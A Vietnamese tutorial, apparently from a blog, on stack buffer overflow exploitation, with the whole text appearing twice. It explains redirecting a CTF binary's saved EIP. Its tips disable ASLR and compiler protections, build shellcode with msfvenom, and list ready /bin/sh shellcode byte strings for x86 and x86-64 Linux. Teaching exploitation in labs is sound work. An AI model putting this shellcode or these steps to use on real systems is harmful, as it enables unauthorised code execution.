– Thay đổi luồng thực thi của chương trình
Khi một chương trình mắc phải lỗi tràn bộ đệm thì ngoài việc có thể thay đổi giá trị của các biến người ta còn có thể thay đổi được luồng thực thi của chương trình.
Chúng ta cùng xét đoạn code sau:
Hình: stack2
Đoạn code trên cũng tương tự như đoạn code của ví dụ trước. Tuy nhiên ta không thể giải như ví dụ 1 bởi vì giá trị 0x41000041 khi chuyển qua string là những ký tự không in được nên không thể nhập từ bàn phím.
Dùng lệnh objdump để phân tích mã hợp ngữ của chương trình. Ta chú ý hàm main:
Hình: stack2 asm code
Như ta đã biết thì khi gọi 1 hàm thì đầu tiên chương trình sẽ tạo 1 stack và lưu địa chỉ trả về vào như hình dưới đây :
Hình: Stack contruct
Như vậy ý tưởng của ta sẽ là dùng lỗi tràn bộ đệm để thay đổi giá trị EIP trả về sao cho giá trị con trỏ EIP trỏ về nơi ta mong muốn. Theo dõi hàm main ta thấy được ở địa chỉ 0804849a là lệnh compare so sánh với giá trị 1. Và địa chỉ 080484a8 là lệnh gọi hàm in ra màn hình. Tuy nhiên trước khi gọi hàm in ra màn hình ta phải truyền tham số cho hàm, ở đây là giá trị chuỗi ‘You win !!’. Như vậy ta cần trỏ con trỏ EIP về giá trị 080484a1.
Lời gọi hàm check có địa chỉ là 08048491. Như vậy EIP trả về của hàm check sẽ là 080484a6.
Chúng ta theo dõi bảng stack của hàm check :
Hình 2-9: Stack check func
Đếm từ nơi bắt đầu biến buf ta dễ thấy cần 8*4=32 byte và 4 byte ghi đè giá trị EIP trả về. Như vậy chúng ta khai thác như sau:
Hình: stack2 exploited
Một số lưu ý:
- Hiện nay các trình biên dịch đều có các tính năng bảo mật như: ASLR (ngẫu nhiên hóa sơ đồ không gian địa chỉ - Address space layout randomization), NX ( No eXcute: không cho thực thi shellcode lưu trong stack), canary (gán 1 giá trị random vào trước saved ebp, nếu giá trị này thay đổi khi ta tràn bộ đệm thì chương trình sẽ stop), …
- Disable ASLR: echo 0 > /proc/sys/kernel/randomize_va_space
+ 0: Disable ASLR. This setting is applied if the kernel is booted with the norandmaps boot parameter.
+ 1: Randomize the positions of the stack, virtual dynamic shared object (VDSO) page, and shared memory regions. The base address of the data segment is located immediately after the end of the executable code segment.
+ 2: Randomize the positions of the stack, VDSO page, shared memory regions, and the data segment. This is the default setting.
- gcc -fno-stack-protector -z execstack classic.c -o classic : đây là câu lệnh biên dịch chương trình để tắt canary và tắt cờ NX (No eXcute)
- socat TCP-LISTEN:2323,reuseaddr,fork EXEC:"./sftp" : Lệnh này sẽ chạy binary ./sftp dưới mô hình client-server. Như vậy ta có thể tương tác với chương trình từ các máy khác bằng lệnh nc ip port hoặc lập trình socket.
- ndisasm -b 32 filename > filename.asm : Lệnh này sẽ chuyển các mã trong filename thành code asm.
- msfvenom -p linux/x86/exec CMD="/bin/cat flag.txt" -a x86 -b '\x00' -f python : Lệnh này sẽ tạo ra 1 shellcode thực thi lệnh CMD, tham số -b là các bad character cần tránh xuất hiện trong shellcode
- Một số shellcode /bin/sh mình thường dùng:
+ shell linux 64:
Mã:
27 code = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
+ shell linux 32:
Mã:
code32 = '\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80'
- payload = shellcode.ljust(200,'A') : đây là 1 lệnh trong python, nó sẽ tự động tạo 1 chuỗi độ dài 200, với phần shellcode được đặt ở bên trái của chuỗi, những giá trị còn lại trong chuỗi sẽ là những ký tự A
Khi một chương trình mắc phải lỗi tràn bộ đệm thì ngoài việc có thể thay đổi giá trị của các biến người ta còn có thể thay đổi được luồng thực thi của chương trình.
Chúng ta cùng xét đoạn code sau:
Hình: stack2
Đoạn code trên cũng tương tự như đoạn code của ví dụ trước. Tuy nhiên ta không thể giải như ví dụ 1 bởi vì giá trị 0x41000041 khi chuyển qua string là những ký tự không in được nên không thể nhập từ bàn phím.
Dùng lệnh objdump để phân tích mã hợp ngữ của chương trình. Ta chú ý hàm main:
Hình: stack2 asm code
Như ta đã biết thì khi gọi 1 hàm thì đầu tiên chương trình sẽ tạo 1 stack và lưu địa chỉ trả về vào như hình dưới đây :
Hình: Stack contruct
Như vậy ý tưởng của ta sẽ là dùng lỗi tràn bộ đệm để thay đổi giá trị EIP trả về sao cho giá trị con trỏ EIP trỏ về nơi ta mong muốn. Theo dõi hàm main ta thấy được ở địa chỉ 0804849a là lệnh compare so sánh với giá trị 1. Và địa chỉ 080484a8 là lệnh gọi hàm in ra màn hình. Tuy nhiên trước khi gọi hàm in ra màn hình ta phải truyền tham số cho hàm, ở đây là giá trị chuỗi ‘You win !!’. Như vậy ta cần trỏ con trỏ EIP về giá trị 080484a1.
Lời gọi hàm check có địa chỉ là 08048491. Như vậy EIP trả về của hàm check sẽ là 080484a6.
Chúng ta theo dõi bảng stack của hàm check :
Hình 2-9: Stack check func
Đếm từ nơi bắt đầu biến buf ta dễ thấy cần 8*4=32 byte và 4 byte ghi đè giá trị EIP trả về. Như vậy chúng ta khai thác như sau:
Hình: stack2 exploited
Một số lưu ý:
- Hiện nay các trình biên dịch đều có các tính năng bảo mật như: ASLR (ngẫu nhiên hóa sơ đồ không gian địa chỉ - Address space layout randomization), NX ( No eXcute: không cho thực thi shellcode lưu trong stack), canary (gán 1 giá trị random vào trước saved ebp, nếu giá trị này thay đổi khi ta tràn bộ đệm thì chương trình sẽ stop), …
- Disable ASLR: echo 0 > /proc/sys/kernel/randomize_va_space
+ 0: Disable ASLR. This setting is applied if the kernel is booted with the norandmaps boot parameter.
+ 1: Randomize the positions of the stack, virtual dynamic shared object (VDSO) page, and shared memory regions. The base address of the data segment is located immediately after the end of the executable code segment.
+ 2: Randomize the positions of the stack, VDSO page, shared memory regions, and the data segment. This is the default setting.
- gcc -fno-stack-protector -z execstack classic.c -o classic : đây là câu lệnh biên dịch chương trình để tắt canary và tắt cờ NX (No eXcute)
- socat TCP-LISTEN:2323,reuseaddr,fork EXEC:"./sftp" : Lệnh này sẽ chạy binary ./sftp dưới mô hình client-server. Như vậy ta có thể tương tác với chương trình từ các máy khác bằng lệnh nc ip port hoặc lập trình socket.
- ndisasm -b 32 filename > filename.asm : Lệnh này sẽ chuyển các mã trong filename thành code asm.
- msfvenom -p linux/x86/exec CMD="/bin/cat flag.txt" -a x86 -b '\x00' -f python : Lệnh này sẽ tạo ra 1 shellcode thực thi lệnh CMD, tham số -b là các bad character cần tránh xuất hiện trong shellcode
- Một số shellcode /bin/sh mình thường dùng:
+ shell linux 64:
Mã:
27 code = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
+ shell linux 32:
Mã:
code32 = '\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80'
- payload = shellcode.ljust(200,'A') : đây là 1 lệnh trong python, nó sẽ tự động tạo 1 chuỗi độ dài 200, với phần shellcode được đặt ở bên trái của chuỗi, những giá trị còn lại trong chuỗi sẽ là những ký tự A
Bài viết liên quan
Bài viết mới